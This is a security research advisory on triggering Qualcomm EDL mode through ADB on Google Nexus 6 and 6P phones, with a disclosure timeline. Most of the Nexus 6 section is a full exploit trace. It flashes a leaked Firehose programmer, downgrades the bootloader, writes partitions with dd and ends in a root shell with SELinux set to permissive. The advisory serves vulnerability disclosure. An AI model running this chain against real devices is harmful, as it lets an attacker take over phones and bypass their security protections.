Google Nexus 6 & 6P EDL triggering through ADB

Aleph Research Advisory


Android ID





  1. Google Nexus 6

  2. Google Nexus 6P

Technical Details

Google Nexus 6 allows rebooting into the Qualcomm Emergency Download (EDL) Mode through ADB, by issuing the adb reboot edl command.

Since the Google Nexus 6 Firehose programmer has been leaked (SHA256: 9b3184613d694ea24d3beeba6944fdb64196fea7056c833d38d2ef683fd96e9b), one could exploit the programmer in order to downgrade critical partitions such as the Motorola Android Bootloader, which enabled exploitation of old vulnerabilities such as CVE-2016-10277.

The following shows the trace of our exploit code, gaining a root shell:

+ adb wait-for-device shell getprop ro.build.fingerprint
+ adb shell id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
+ adb reboot edl 
+ sudo ./edl/qboot blank-flash ./edl/programmer.mbn ./edl/singleimage.bin
< waiting for device >
opening device: /dev/ttyUSB0
OKAY [  0.000s]
greeting device for command mode
OKAY [  0.001s]
identifying device
...serial = 0xE4860D
...chip-id = 0x901
...chip-rev = 0x0 
...sv-sbl = 0x0 
OKAY [  0.002s]
finding files
...programmer = ./edl/programmer.mbn
...singleimage = ./edl/singleimage.bin
OKAY [  0.000s]
validating files
OKAY [  0.001s]
switching to download mode
OKAY [  0.000s]
greeting device for image downloading
OKAY [  0.000s]
sending programmer
OKAY [  0.006s]
flashing singleimage
OKAY [  3.120s]
rebooting target
OKAY [  0.000s]
finished. total time:   3.131s
+ fastboot getvar version-bootloader
version-bootloader: moto-apq8084-71.08(*)
finished. total time: 0.002s
+ fastboot flash partition img/gpt.bin
(bootloader) has-slot:partition: not found
target reported max download size of 536870912 bytes
sending 'partition' (32 KB)...
OKAY [  0.003s]
writing 'partition'...
OKAY [  0.063s]
OKAY [  0.063s]
finished. total time: 0.067s
+ fastboot flash aboot img/bootloader.aboot-n6f26y.img
+ fastboot reboot-bootloader
+ fastboot getvar version-bootloader
version-bootloader: moto-apq8084-72.02(*)
finished. total time: 0.002s
+ fastboot oem config fsg-id a initrd=0x11000000,1519997
+ fastboot flash aleph ./img/initroot-shamu-aosp-nmf26f.cpio.gz
+ fastboot continue

+ adb wait-for-device
+ adb push ./img/bootloader.aboot-n6f26y.img ./img/bootloader.aboot-n6f27e.img ./img/initroot-shamu-aosp-nmf26f.img ./img/radio.modem-n6f27e.img /data/local/tmp
./img/bootloader.aboot-n6f26y.img: 1 file pushed. 19.9 MB/s (1048576 bytes in 0.050s)
./img/bootloader.aboot-n6f27e.img: 1 file pushed. 18.8 MB/s (1048576 bytes in 0.053s)
./img/initroot-shamu-aosp-nmf26f.img: 1 file pushed. 17.4 MB/s (8728576 bytes in 0.479s)
./img/radio.modem-n6f27e.img: 1 file pushed. 19.6 MB/s (117440512 bytes in 5.715s)
4 files pushed. 19.4 MB/s (128266240 bytes in 6.302s)
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/modem if=/data/local/tmp/radio.modem-n6f27e.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/boot if=/data/local/tmp/initroot-shamu-aosp-nmf26f.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/aboot if=/data/local/tmp/bootloader.aboot-n6f27e.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/abootBackup if=/data/local/tmp/bootloader.aboot-n6f27e.img
+ adb shell rm -fr /data/local/tmp/*.img
+ adb reboot bootloader
+ fastboot getvar version-bootloader
+ fastboot oem config fsg-id
OKAY [  0.008s]
finished. total time: 0.008s
+ fastboot continue
OKAY [  0.002s]
finished. total time: 0.002s
+ adb wait-for-device shell getprop ro.build.fingerprint
+ adb shell id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
+ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
shamu:/ # setenforce 0
shamu:/ # getenforce
shamu:/ #

As for Nexus 6P, rebooting into edl is not possible by a normal shell user, as this is disabled by default in the msm-poweroff.c driver:

static int enable_edl = 0;
static int edl_set(const char *val, struct kernel_param *kp);
module_param_call(enable_edl, edl_set, param_get_int, &enable_edl, 0644);

static void enable_emergency_dload_mode(void)
	int ret;
	if (enable_edl == 0) {
		pr_info("emergency EDL is not enabled\n");
	if (emergency_dload_mode_addr) {
				emergency_dload_mode_addr +
				sizeof(unsigned int));
				emergency_dload_mode_addr +
				(2 * sizeof(unsigned int)));
		/* Need disable the pmic wdt, then the emergency dload mode
		 * will not auto reset. */
	ret = scm_set_dload_mode(SCM_EDLOAD_MODE, 0);
	if (ret)
		pr_err("Failed to set secure EDLOAD mode: %d\n", ret);

As one can see, the enable_edl module parameter, that can be controlled through sysfs, determines whether it’s possible to reboot into EDL or not. Despite that, a root attacker capable on writing on files with the sysfs SELinux context can set that variable. The Google Nexus 6P Firehose programmer has been leaked (30758b3e0d2e47b19ebcac1f0a66b545960784ad6d428a2fe3c70e3934c29c7a), thus such an attacker can elevate his privilege through partition downgrades, escalate to EL3 (before the OS boots), as demonstrated in our blog post.

Google’s December 2017 patch for Nexus 6P removed the code that reboots into EDL. A kernel attacker should still be able to reboot into EDL, and load the leaked programmer.


  • 22-Jan-18
    : Public disclosure.
  • 04-Dec-17
    : Vendor advisory available.
  • 01-Nov-17
    : Vulnerability re-triaged by Vendor (High).
  • 03-Sep-17
    : Deadline.
  • 13-Jun-17
    : Vulnerability triaged by Vendor (Moderate).
  • 05-Jun-17
    : Reported (Android Security).
  • 05-Jun-17
    : Added as ALEPH-2017027.